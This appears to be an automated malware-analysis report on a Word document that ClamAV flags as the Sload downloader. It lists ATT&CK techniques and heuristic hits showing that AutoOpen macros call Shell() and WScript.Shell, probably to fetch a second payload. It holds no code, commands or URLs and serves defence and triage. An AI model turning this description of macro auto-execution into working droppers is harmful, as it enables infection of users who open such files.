MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file contains VBA macros with critical heuristic firings for `OLE_VBA_SHELL`, `OLE_VBA_WSCRIPT`, and `OLE_VBA_CREATEOBJ`, indicating the use of `Shell()` and `WScript.Shell` to execute commands. The `autoopen` macro marker suggests it runs automatically upon opening. This strongly suggests the macro's purpose is to download and execute a secondary payload.

  • ClamAV: Doc.Downloader.Sload-6817574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6817574-0

  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN

  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
